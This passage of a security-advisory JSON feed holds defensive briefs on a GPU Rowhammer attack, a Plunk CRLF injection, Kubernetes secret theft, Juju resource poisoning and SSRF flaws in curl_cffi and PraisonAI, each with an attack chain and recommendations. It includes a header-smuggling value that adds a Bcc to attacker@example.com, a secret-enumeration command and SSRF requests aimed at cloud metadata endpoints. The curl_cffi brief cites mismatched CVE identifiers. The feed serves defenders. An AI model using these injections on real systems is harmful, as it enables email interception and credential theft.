(\u0026ldquo;hammer\u0026rdquo;) a specific row of GDDR6 memory cells on the GPU.\u003c/li\u003e\n\u003cli\u003eThis \u0026ldquo;hammering\u0026rdquo; generates electrical interference, causing bit flips in neighboring memory regions.\u003c/li\u003e\n\u003cli\u003eThe induced bit flips corrupt GPU page tables, granting arbitrary read-write access to memory.\u003c/li\u003e\n\u003cli\u003eAttacker exploits memory-safety bugs in Nvidia drivers.\u003c/li\u003e\n\u003cli\u003eThis leads to CPU-side privilege escalation by exploiting the corrupted memory access.\u003c/li\u003e\n\u003cli\u003eAttacker gains root shell privileges on the compromised system.\u003c/li\u003e\n\u003cli\u003eAttacker achieves full system compromise, potentially leading to unauthorized data access, data corruption, or breaches of memory isolation.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThe GPUBreach attack allows for privilege escalation from a user with GPU access to root on a shared system. This compromises the confidentiality, integrity, and availability of the entire system, especially in cloud environments where multiple users share physical GPUs. Successful exploitation can lead to unauthorized data access, data corruption, breaches of memory isolation, and potentially complete control over the compromised system. Google awarded a $600 bounty highlighting the significance of this vulnerability.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable ECC on server and workstation GPUs (e.g., RTX A6000) as per the Nvidia security notice to mitigate single-bit flips, although this is not a foolproof mitigation as the attack can induce more than two bit flips.\u003c/li\u003e\n\u003cli\u003eMonitor GPU resource usage for unusual memory access patterns indicative of Rowhammer attacks using the detection rule for \u003ccode\u003eGPU Memory Hammering Detection\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor for suspicious processes utilizing the GPU in conjunction with privilege escalation attempts as detected by the \u003ccode\u003eSuspicious GPU Privilege Escalation\u003c/code\u003e Sigma rule.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-07T11:31:38Z","date_published":"2026-04-07T11:31:38Z","id":"/briefs/2026-04-gpubreach-rowhammer/","summary":"GPUBreach is a novel Rowhammer attack targeting GPUs, allowing privilege escalation to root shell by inducing bit flips in GDDR6 memory and exploiting memory-safety bugs in Nvidia drivers, posing a significant risk to shared cloud environments.","title":"GPUBreach: GPU Rowhammer Attack for Privilege Escalation","url":"https://feed.craftedsignal.io/briefs/2026-04-gpubreach-rowhammer/"},{"_cs_actors":[],"_cs_cves":[{"cvss":8.5,"id":"CVE-2026-34975"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["crlf","header-injection","plunk","cve-2026-34975","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003ePlunk, an open-source email platform built on top of AWS SES, is vulnerable to CRLF header injection. Prior to version 0.8.0, the application failed to properly sanitize user-supplied values for fields like \u003ccode\u003efrom.name\u003c/code\u003e, \u003ccode\u003esubject\u003c/code\u003e, custom header keys/values, and attachment filenames. This vulnerability, identified as CVE-2026-34975, allows an authenticated API user to inject arbitrary email headers by including carriage return (\u003ccode\u003e\\r\u003c/code\u003e) and line feed (\u003ccode\u003e\\n\u003c/code\u003e) characters in these fields. Successful exploitation could lead to silent email forwarding to unauthorized recipients, redirection of replies to attacker-controlled addresses, and spoofing of the sender\u0026rsquo;s identity. The vulnerability was addressed in Plunk version 0.8.0 by implementing input validation to reject any of the affected fields containing \u003ccode\u003e\\r\u003c/code\u003e or \u003ccode\u003e\\n\u003c/code\u003e characters. Defenders should ensure Plunk installations are upgraded to version 0.8.0 or later.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains authenticated access to the Plunk API.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious API request to send an email.\u003c/li\u003e\n\u003cli\u003eIn the \u003ccode\u003efrom.name\u003c/code\u003e, \u003ccode\u003esubject\u003c/code\u003e, custom header keys/values, or attachment filename fields, the attacker injects carriage return (\u003ccode\u003e\\r\u003c/code\u003e) and line feed (\u003ccode\u003e\\n\u003c/code\u003e) characters followed by arbitrary email headers. For example: \u003ccode\u003eSubject: legitimate subject\\r\\nBcc: attacker@example.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe Plunk application, prior to version 0.8.0, processes the request without proper sanitization. The injected CRLF sequences are interpreted as header delimiters, and the attacker-supplied headers are added to the email.\u003c/li\u003e\n\u003cli\u003eThe Plunk application constructs a raw MIME message including the injected headers.\u003c/li\u003e\n\u003cli\u003ePlunk sends the email via AWS SES.\u003c/li\u003e\n\u003cli\u003eThe recipient receives the email, which now includes the attacker-injected headers (e.g., \u003ccode\u003eBcc\u003c/code\u003e, \u003ccode\u003eReply-To\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe attacker achieves their objective, such as silently receiving a copy of the email (Bcc), redirecting replies to an attacker-controlled address (Reply-To), or impersonating another sender (From).\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of the CRLF injection vulnerability (CVE-2026-34975) in Plunk can lead to significant confidentiality and integrity breaches. Attackers can silently intercept sensitive email communications by adding themselves as Bcc recipients. They can also redirect replies to attacker-controlled addresses, potentially gaining access to further information. Furthermore, attackers can spoof the sender\u0026rsquo;s identity, enabling them to conduct phishing attacks or distribute malicious content under the guise of a trusted source. The number of potential victims is proportional to the number of Plunk users and the sensitivity of the information they handle. The risk is particularly high for organizations using Plunk to manage critical communications or sensitive data.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Plunk to version 0.8.0 or later to remediate CVE-2026-34975, which introduces input validation to prevent CRLF injection.\u003c/li\u003e\n\u003cli\u003eMonitor Plunk application logs for suspicious API requests containing carriage return (\u003ccode\u003e\\r\u003c/code\u003e) or line feed (\u003ccode\u003e\\n\u003c/code\u003e) characters in email fields. Implement a rule to detect these characters in \u003ccode\u003ecs-uri-query\u003c/code\u003e within the webserver logs.\u003c/li\u003e\n\u003cli\u003eImplement input validation on any custom email sending functionality to prevent CRLF injection vulnerabilities.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-06T17:17:11Z","date_published":"2026-04-06T17:17:11Z","id":"/briefs/2024-01-30-plunk-crlf/","summary":"A CRLF header injection vulnerability in Plunk versions prior to 0.8.0 allows authenticated API users to inject arbitrary email headers, enabling silent email forwarding, reply redirection, or sender spoofing.","title":"Plunk Email Platform CRLF Header Injection Vulnerability","url":"https://feed.craftedsignal.io/briefs/2024-01-30-plunk-crlf/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["cloud","aws","iam","credential-access","initial-access"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection rule, published by Elastic, is designed to correlate AWS security alerts and prioritize investigations related to potentially compromised IAM access keys. Specifically, it focuses on scenarios where a long-term IAM access key is observed originating from a new source IP address (detected by the \u0026ldquo;AWS Long-Term Access Key First Seen from Source IP\u0026rdquo; rule, rule ID 9f8e3c5e-f72e-4e91-93f6-e98a4fae3e4f) and is also associated with other open alerts of medium, high, or critical severity. This correlation aims to surface instances where a newly exposed or compromised access key is actively being used for malicious activities, enabling security teams to respond more effectively to potential credential access incidents and initial access attempts. The rule is a higher-order rule that analyzes existing security alerts within an Elastic Security deployment and leverages the \u003ccode\u003ekibana.alert\u003c/code\u003e fields to identify related events.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains access to a valid AWS IAM Long-Term Access Key. This could be through phishing, credential stuffing, or exposed credentials in source code.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised access key to interact with AWS services from a new and previously unseen IP address. This triggers the \u0026ldquo;AWS Long-Term Access Key First Seen from Source IP\u0026rdquo; rule (rule ID: 9f8e3c5e-f72e-4e91-93f6-e98a4fae3e4f).\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the compromised credentials to perform reconnaissance activities within the AWS environment, such as listing resources or querying IAM configurations.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to escalate privileges by exploiting misconfigurations or vulnerabilities in IAM policies.\u003c/li\u003e\n\u003cli\u003eThe attacker performs actions indicating lateral movement within the AWS environment, such as accessing or modifying resources in different AWS accounts.\u003c/li\u003e\n\u003cli\u003eThe attacker compromises additional AWS resources or services, such as EC2 instances or S3 buckets. These activities trigger medium, high, or critical severity alerts.\u003c/li\u003e\n\u003cli\u003eThe correlation rule identifies the co-occurrence of the \u0026ldquo;AWS Long-Term Access Key First Seen from Source IP\u0026rdquo; alert and other elevated severity alerts associated with the same access key ID.\u003c/li\u003e\n\u003cli\u003eThe security team investigates the correlated alerts and takes appropriate remediation steps, such as rotating the compromised access key and reviewing IAM policies.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack leveraging compromised AWS IAM credentials can lead to significant data breaches, service disruption, and financial losses. Attackers can gain unauthorized access to sensitive data stored in S3 buckets, compromise EC2 instances, and disrupt critical AWS services. The correlation rule aims to reduce the dwell time of attackers by prioritizing the investigation of compromised credentials associated with ongoing malicious activity. This can prevent attackers from further escalating their attacks and minimizing the overall impact of the breach. Failure to detect and respond to these attacks can result in regulatory fines, reputational damage, and loss of customer trust.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the \u0026ldquo;AWS IAM Long-Term Access Key Correlated with Elevated Detection Alerts\u0026rdquo; rule (rule ID 98cfaa44-83f0-4aba-90c4-363fb9d51a75) in your Elastic Security environment to identify potentially compromised IAM access keys.\u003c/li\u003e\n\u003cli\u003eInvestigate alerts triggered by the rule by pivoting on the \u003ccode\u003eaws.cloudtrail.user_identity.access_key_id\u003c/code\u003e in CloudTrail and IAM to understand the context of the access key usage.\u003c/li\u003e\n\u003cli\u003eReview the sibling alerts identified by the rule using \u003ccode\u003eEsql.kibana_alert_rule_name_values\u003c/code\u003e and \u003ccode\u003eEsql.kibana_alert_rule_id_values\u003c/code\u003e to understand the scope and impact of the potential compromise.\u003c/li\u003e\n\u003cli\u003eConfigure your Elastic Security deployment to properly map risk scores to severity levels, ensuring that \u003ccode\u003ekibana.alert.risk_score \u0026gt;= 47\u003c/code\u003e corresponds to medium or higher severity alerts.\u003c/li\u003e\n\u003cli\u003eRotate or disable any IAM access keys identified as compromised by the rule to prevent further unauthorized access.\u003c/li\u003e\n\u003cli\u003eEnable AWS CloudTrail logging to capture detailed information about API calls made within your AWS environment, providing valuable context for investigating security alerts.\u003c/li\u003e\n\u003cli\u003eImplement the \u0026ldquo;AWS Long-Term Access Key First Seen from Source IP\u0026rdquo; rule (rule_id: 9f8e3c5e-f72e-4e91-93f6-e98a4fae3e4f) if not already enabled, as it is a pre-requisite for this correlation rule.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-06T14:37:37Z","date_published":"2026-04-06T14:37:37Z","id":"/briefs/2026-06-aws-iam-access-key-correlation/","summary":"This rule correlates AWS Long-Term Access Key First Seen from Source IP alerts with other open alerts of medium or higher severity that share the same IAM access key ID to prioritize investigation of potentially compromised accounts, helping identify post-compromise activity.","title":"AWS IAM Long-Term Access Key Correlated with Elevated Detection Alerts","url":"https://feed.craftedsignal.io/briefs/2026-06-aws-iam-access-key-correlation/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["low"],"_cs_tags":["kubernetes","credential-access","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection rule identifies instances where Kubernetes secrets are accessed through atypical means, specifically flagging requests originating from unusual user agents, usernames, or source IPs. The underlying assumption is that after compromising a pod or stealing a kubeconfig file, adversaries often attempt to harvest sensitive information stored as secrets within the Kubernetes cluster. This includes service account tokens, registry credentials, cloud keys, and other critical data. This activity can lead to privilege escalation and lateral movement within the cluster or the wider cloud environment. The rule focuses on identifying deviations from established access patterns to Kubernetes secrets to detect potentially malicious activity. The rule leverages data from kubernetes.audit_logs.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Compromise:\u003c/strong\u003e An attacker gains initial access to the Kubernetes cluster, potentially by exploiting a vulnerability in a pod or by stealing a kubeconfig file.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery:\u003c/strong\u003e The attacker enumerates available resources within the cluster to identify potential targets, including secrets. This might involve using \u003ccode\u003ekubectl get secrets --all-namespaces\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCredential Theft:\u003c/strong\u003e The attacker attempts to access Kubernetes secrets using an unusual user agent, source IP, or user name. For example, using \u003ccode\u003ecurl\u003c/code\u003e from a compromised pod to access the Kubernetes API.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eData Exfiltration:\u003c/strong\u003e The attacker retrieves the contents of the secrets. Secrets might contain service account tokens, registry credentials, cloud IAM keys, database passwords, etc.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLateral Movement:\u003c/strong\u003e With stolen credentials, the attacker attempts to move laterally within the cluster or the connected cloud environment. They might use the credentials to access other pods, services, or cloud resources.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePrivilege Escalation:\u003c/strong\u003e The attacker uses the stolen credentials to escalate their privileges within the Kubernetes cluster or the cloud environment. For example, creating new roles or role bindings.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePersistence:\u003c/strong\u003e The attacker establishes persistence by creating backdoors or modifying existing deployments. This might involve creating new pods or modifying existing deployments.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eImpact:\u003c/strong\u003e The attacker achieves their objective, such as data theft, denial of service, or infrastructure compromise.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can lead to the compromise of sensitive data stored within Kubernetes secrets. This could include database credentials, API keys, and service account tokens. The impact can range from unauthorized access to sensitive data, to complete compromise of the Kubernetes cluster and the connected cloud environment. This can affect any organization using Kubernetes to manage their applications, potentially leading to data breaches, service disruptions, and financial losses. The severity depends on the sensitivity of the data stored in the compromised secrets and the level of access the attacker gains.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubernetes Secret Access via Unusual User Agent\u003c/code\u003e to your SIEM and tune for your environment to detect unusual access patterns to Kubernetes secrets.\u003c/li\u003e\n\u003cli\u003eInvestigate and validate any alerts generated by the deployed Sigma rule, focusing on the requesting identity, source IP, and user agent to confirm whether they align with approved access records.\u003c/li\u003e\n\u003cli\u003eImplement RBAC least privilege to limit access to secrets to only the required service accounts and users to minimize the potential impact of credential theft.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs (\u003ccode\u003elogs-kubernetes.audit_logs-*\u003c/code\u003e) for suspicious activity, including unusual API calls and access patterns to sensitive resources.\u003c/li\u003e\n\u003cli\u003eRegularly rotate secrets and credentials to minimize the window of opportunity for attackers to use stolen credentials.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-06T12:05:33Z","date_published":"2026-04-06T12:05:33Z","id":"/briefs/2024-01-09-kubernetes-secret-access/","summary":"Detects unusual access to Kubernetes secrets, potentially indicating an attacker attempting to steal sensitive information after gaining initial access to the cluster.","title":"Kubernetes Secret Access via Unusual User Agent","url":"https://feed.craftedsignal.io/briefs/2024-01-09-kubernetes-secret-access/"},{"_cs_actors":[],"_cs_cves":[{"id":"CVE-2025-68153"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["juju","resource-poisoning","privilege-escalation","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA resource poisoning vulnerability exists within Juju, a cloud orchestration tool. Any authenticated user, machine, or controller operating under a Juju controller can exploit this vulnerability to modify the resources of an application within the entire controller. The vulnerability stems from insufficient authorization checks in the resource handler, allowing unauthorized PUT and GET requests. A compromised workload with machine credentials can modify OCI resources for other models in the controller, such as replacing a legitimate Docker image with a trojan horse version. This vulnerability affects Juju versions prior to the fix in commit 26ff93c903d5, specifically in the go/github.com/juju/juju package. This can have significant consequences, including privilege escalation and unauthorized access to sensitive information.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a Juju controller as an authenticated user, machine, or controller. This could be via compromised credentials or a vulnerable workload already within the Juju environment.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies the target model UUID, application name, and resource name they wish to poison. This information can be obtained through enumeration within the Juju environment or by leveraging publicly available charm information from Charmhub.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious resource, such as a trojan horse Docker image, that has the same file extension as the original resource.\u003c/li\u003e\n\u003cli\u003eThe attacker sends a PUT request to the resource handler endpoint \u003ccode\u003e/:modeluuid/applications/:application/resources/:resources\u003c/code\u003e with the malicious resource.\u003c/li\u003e\n\u003cli\u003eThe Juju controller\u0026rsquo;s resource handler, lacking proper authorization checks, accepts the malicious resource and overwrites the existing resource in its cache.\u003c/li\u003e\n\u003cli\u003eWhen the target application attempts to retrieve the resource, it receives the poisoned version from the controller\u0026rsquo;s cache.\u003c/li\u003e\n\u003cli\u003eThe poisoned resource is executed or deployed within the target application\u0026rsquo;s environment, leading to compromise. In the case of a Docker image, this could lead to root access on the underlying system.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the compromised application (e.g., a Kubernetes vault) to access sensitive information, such as vault secrets, and further expand their access within the environment.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThis vulnerability allows an attacker to inject security vulnerabilities into other workloads managed by Juju. This can lead to privilege escalation, data breaches, and complete compromise of the Juju-managed environment. The most obvious impact is on deployments using OCI containers, where a malicious Docker image can grant an attacker execution escalation. In a Kubernetes environment managing vault secrets, an attacker could potentially gain root access to all vault secrets, seriously impacting the confidentiality and integrity of the data stored within. The specific impact depends on the type of resource poisoned and its role in the target application, but could be severe.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Juju to a version containing the fix for CVE-2025-68153 to address the underlying vulnerability.\u003c/li\u003e\n\u003cli\u003eImplement additional authorization checks and access controls within the Juju environment to restrict resource modification to authorized users and processes.\u003c/li\u003e\n\u003cli\u003eEnable and review Juju API server logs (category: webserver, product: linux) for suspicious PUT requests to resource handler endpoints, looking for unexpected resource modifications.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect Unauthorized Juju Resource Modification\u0026rdquo; to your SIEM to detect unauthorized PUT requests to Juju resource endpoints.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-04T12:00:00Z","date_published":"2026-04-04T12:00:00Z","id":"/briefs/2026-04-juju-resource-poisoning/","summary":"An authenticated user, machine, or controller within a Juju controller can modify application resources due to a lack of authorization checks, potentially leading to resource poisoning and privilege escalation by uploading malicious resources.","title":"Juju Resource Poisoning Vulnerability Allows Unauthorized Resource Modification","url":"https://feed.craftedsignal.io/briefs/2026-04-juju-resource-poisoning/"},{"_cs_actors":[],"_cs_cves":[{"cvss":7.5,"id":"CVE-2025-68616"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["ssrf","curl_cffi","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe curl_cffi library, a Python binding for libcurl, is susceptible to a server-side request forgery (SSRF) vulnerability in versions prior to 0.15.0. This flaw stems from the library\u0026rsquo;s unrestricted handling of redirects, allowing attacker-controlled URLs to redirect requests to internal IP ranges and services. An attacker can exploit this behavior to access sensitive information such as cloud metadata or bypass network controls. The vulnerability is triggered because curl_cffi automatically follows redirects (CURLOPT_FOLLOWLOCATION = 1) without validating the destination. Additionally, the TLS impersonation feature in curl_cffi can further obscure malicious requests by mimicking legitimate browser traffic, potentially bypassing TLS-based filtering mechanisms. This issue is similar to other redirect-based SSRF vulnerabilities, like CVE-2025-68616.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker identifies a curl_cffi application vulnerable to SSRF.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious URL pointing to an attacker-controlled server (attacker.example).\u003c/li\u003e\n\u003cli\u003eThe victim application uses curl_cffi to request the attacker-controlled URL.\u003c/li\u003e\n\u003cli\u003eThe attacker\u0026rsquo;s server responds with an HTTP 302 redirect to an internal IP address (e.g., 169.254.169.254, the cloud metadata endpoint).\u003c/li\u003e\n\u003cli\u003ecurl_cffi automatically follows the redirect without validation.\u003c/li\u003e\n\u003cli\u003eThe request is sent to the internal IP address, bypassing external access controls.\u003c/li\u003e\n\u003cli\u003eThe internal service (e.g., cloud metadata API) responds with sensitive information.\u003c/li\u003e\n\u003cli\u003eThe attacker retrieves the sensitive information from the victim application\u0026rsquo;s logs or response data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows an attacker to access internal network services and sensitive cloud metadata. This can lead to the exposure of API keys, credentials, and other confidential information. The impact can range from unauthorized access to internal applications and data to potential compromise of cloud infrastructure. All applications using curl_cffi versions before 0.15.0 are vulnerable. The severity is high due to the potential for significant data breaches and infrastructure compromise.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to curl_cffi version 0.15.0 or later to patch CVE-2026-33752.\u003c/li\u003e\n\u003cli\u003eImplement server-side input validation to prevent passing attacker-controlled URLs to curl_cffi.\u003c/li\u003e\n\u003cli\u003eMonitor network traffic for connections to internal IP ranges (127.0.0.1, 169.254.0.0/16) originating from processes using curl_cffi.  Create a network_connection rule to detect this activity.\u003c/li\u003e\n\u003cli\u003eInspect web server logs for HTTP 302 redirects to internal IP addresses, which could indicate SSRF attempts. Deploy a webserver rule to detect this.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-03T21:36:44Z","date_published":"2026-04-03T21:36:44Z","id":"/briefs/2026-04-curl-cffi-ssrf/","summary":"curl_cffi versions before 0.15.0 are vulnerable to server-side request forgery (SSRF) due to unrestricted redirects to internal IP ranges, potentially enabling access to sensitive internal resources and cloud metadata.","title":"curl_cffi SSRF Vulnerability via Redirects","url":"https://feed.craftedsignal.io/briefs/2026-04-curl-cffi-ssrf/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["low"],"_cs_tags":["azure","cloud","anomaly-detection"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection identifies Azure Activity Logs activity originating from a city that is atypical for the specific event action being performed. The underlying mechanism is a machine learning job, \u003ccode\u003eazure_activitylogs_rare_event_action_for_a_city_ea\u003c/code\u003e, designed to surface anomalous geolocation patterns. The rule is triggered when the anomaly score exceeds 50. Such deviations can indicate compromised credentials used by an attacker operating from a different geography than the authorized user. This activity can be an early indicator of account abuse, potentially preceding broader impact such as data exfiltration or resource exploitation. The rule is designed to be used with Elastic Stack version 9.4.0 and later.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eCredential Compromise:\u003c/strong\u003e An attacker obtains valid Azure credentials (username/password or service principal keys) through phishing, credential stuffing, or other means.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Access:\u003c/strong\u003e The attacker uses the compromised credentials to log in to the Azure environment from an unusual geographic location (city).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eActivity Log Generation:\u003c/strong\u003e The login and subsequent actions generate Azure Activity Logs entries.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eResource Access/Modification:\u003c/strong\u003e The attacker performs actions such as adding privileged role assignments, creating virtual machines, modifying network configurations, or accessing Key Vault secrets.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLateral Movement (Potential):\u003c/strong\u003e The attacker may use the initially compromised account to discover and access other resources or accounts within the Azure environment.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eData Exfiltration/Resource Exploitation (Potential):\u003c/strong\u003e The attacker exfiltrates sensitive data or uses compromised resources for malicious purposes like cryptocurrency mining.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack can lead to unauthorized access to sensitive data, modification of critical infrastructure, and deployment of malicious resources within the Azure environment. The impact can range from data breaches and financial losses to disruption of services. While the risk score of this detection is low, further investigation is required to determine the extent and nature of the malicious activity.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable the associated Machine Learning job (\u003ccode\u003eazure_activitylogs_rare_event_action_for_a_city_ea\u003c/code\u003e) and ensure that the Azure Activity Logs integration is properly configured to provide the necessary data.\u003c/li\u003e\n\u003cli\u003eReview the investigation guide within the rule\u0026rsquo;s \u003ccode\u003enote\u003c/code\u003e field to understand possible investigation steps, including validating user presence in the region and enriching the source IP.\u003c/li\u003e\n\u003cli\u003eImplement response and remediation steps outlined in the rule \u003ccode\u003enote\u003c/code\u003e field such as revoking active sessions, resetting passwords, and reverting changes executed from the unusual city.\u003c/li\u003e\n\u003cli\u003eConfigure Conditional Access policies with country allowlists and named egress IP ranges, as recommended in the rule\u0026rsquo;s \u003ccode\u003enote\u003c/code\u003e field, to prevent logins from unexpected locations.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-02T13:35:13Z","date_published":"2026-04-02T13:35:13Z","id":"/briefs/2026-06-unusual-azure-city/","summary":"A machine learning job detected Azure Activity Logs activity that, while not inherently suspicious or abnormal, is sourcing from a geolocation (city) that is unusual for the event action, indicating potential compromised credentials.","title":"Unusual City for Azure Activity Logs Event","url":"https://feed.craftedsignal.io/briefs/2026-06-unusual-azure-city/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["ssrf","praisonai","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003ePraisonAI versions 4.5.89 and earlier are vulnerable to a Server-Side Request Forgery (SSRF) vulnerability (CVE-2026-34936) due to insufficient validation of the \u003ccode\u003eapi_base\u003c/code\u003e parameter within the \u003ccode\u003epassthrough()\u003c/code\u003e function. This flaw allows an attacker to control the base URL used in HTTP requests, enabling them to target internal services, external hosts, or cloud metadata endpoints. The vulnerability arises because the \u003ccode\u003eapi_base\u003c/code\u003e parameter is directly concatenated with the \u003ccode\u003eendpoint\u003c/code\u003e parameter and passed to \u003ccode\u003ehttpx.Client.request()\u003c/code\u003e without any sanitization. This is triggered in the \u003ccode\u003epassthrough()\u003c/code\u003e function if the \u003ccode\u003elitellm\u003c/code\u003e primary path raises an \u003ccode\u003eAttributeError\u003c/code\u003e. This allows attackers to bypass intended access controls and potentially retrieve sensitive information or trigger unintended actions within the PraisonAI server\u0026rsquo;s network. The vulnerability was reported on April 1, 2026.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker identifies a PraisonAI instance running a vulnerable version (\u0026lt;= 4.5.89).\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious request to the \u003ccode\u003epassthrough()\u003c/code\u003e function, providing a crafted \u003ccode\u003eapi_base\u003c/code\u003e parameter.\u003c/li\u003e\n\u003cli\u003eThe crafted \u003ccode\u003eapi_base\u003c/code\u003e contains the address of an internal service (e.g., Redis, Elasticsearch, Kubernetes API) or the EC2 metadata service (\u003ccode\u003ehttp://169.254.169.254\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eAn \u003ccode\u003eAttributeError\u003c/code\u003e is triggered in the \u003ccode\u003elitellm\u003c/code\u003e primary path.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003epassthrough()\u003c/code\u003e function, within \u003ccode\u003epassthrough.py\u003c/code\u003e, concatenates the attacker-controlled \u003ccode\u003eapi_base\u003c/code\u003e with the specified \u003ccode\u003eendpoint\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe resulting URL is then passed to \u003ccode\u003ehttpx.Client.request()\u003c/code\u003e, making an HTTP request to the attacker-specified destination.\u003c/li\u003e\n\u003cli\u003eIf targeting the EC2 metadata service, the attacker can retrieve IAM credentials associated with the instance.\u003c/li\u003e\n\u003cli\u003eIf targeting internal services, the attacker can potentially access sensitive data or perform unauthorized actions, due to the default \u003ccode\u003eAUTH_ENABLED = False\u003c/code\u003e setting.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this SSRF vulnerability can lead to serious consequences. On cloud infrastructure, attackers can steal IAM 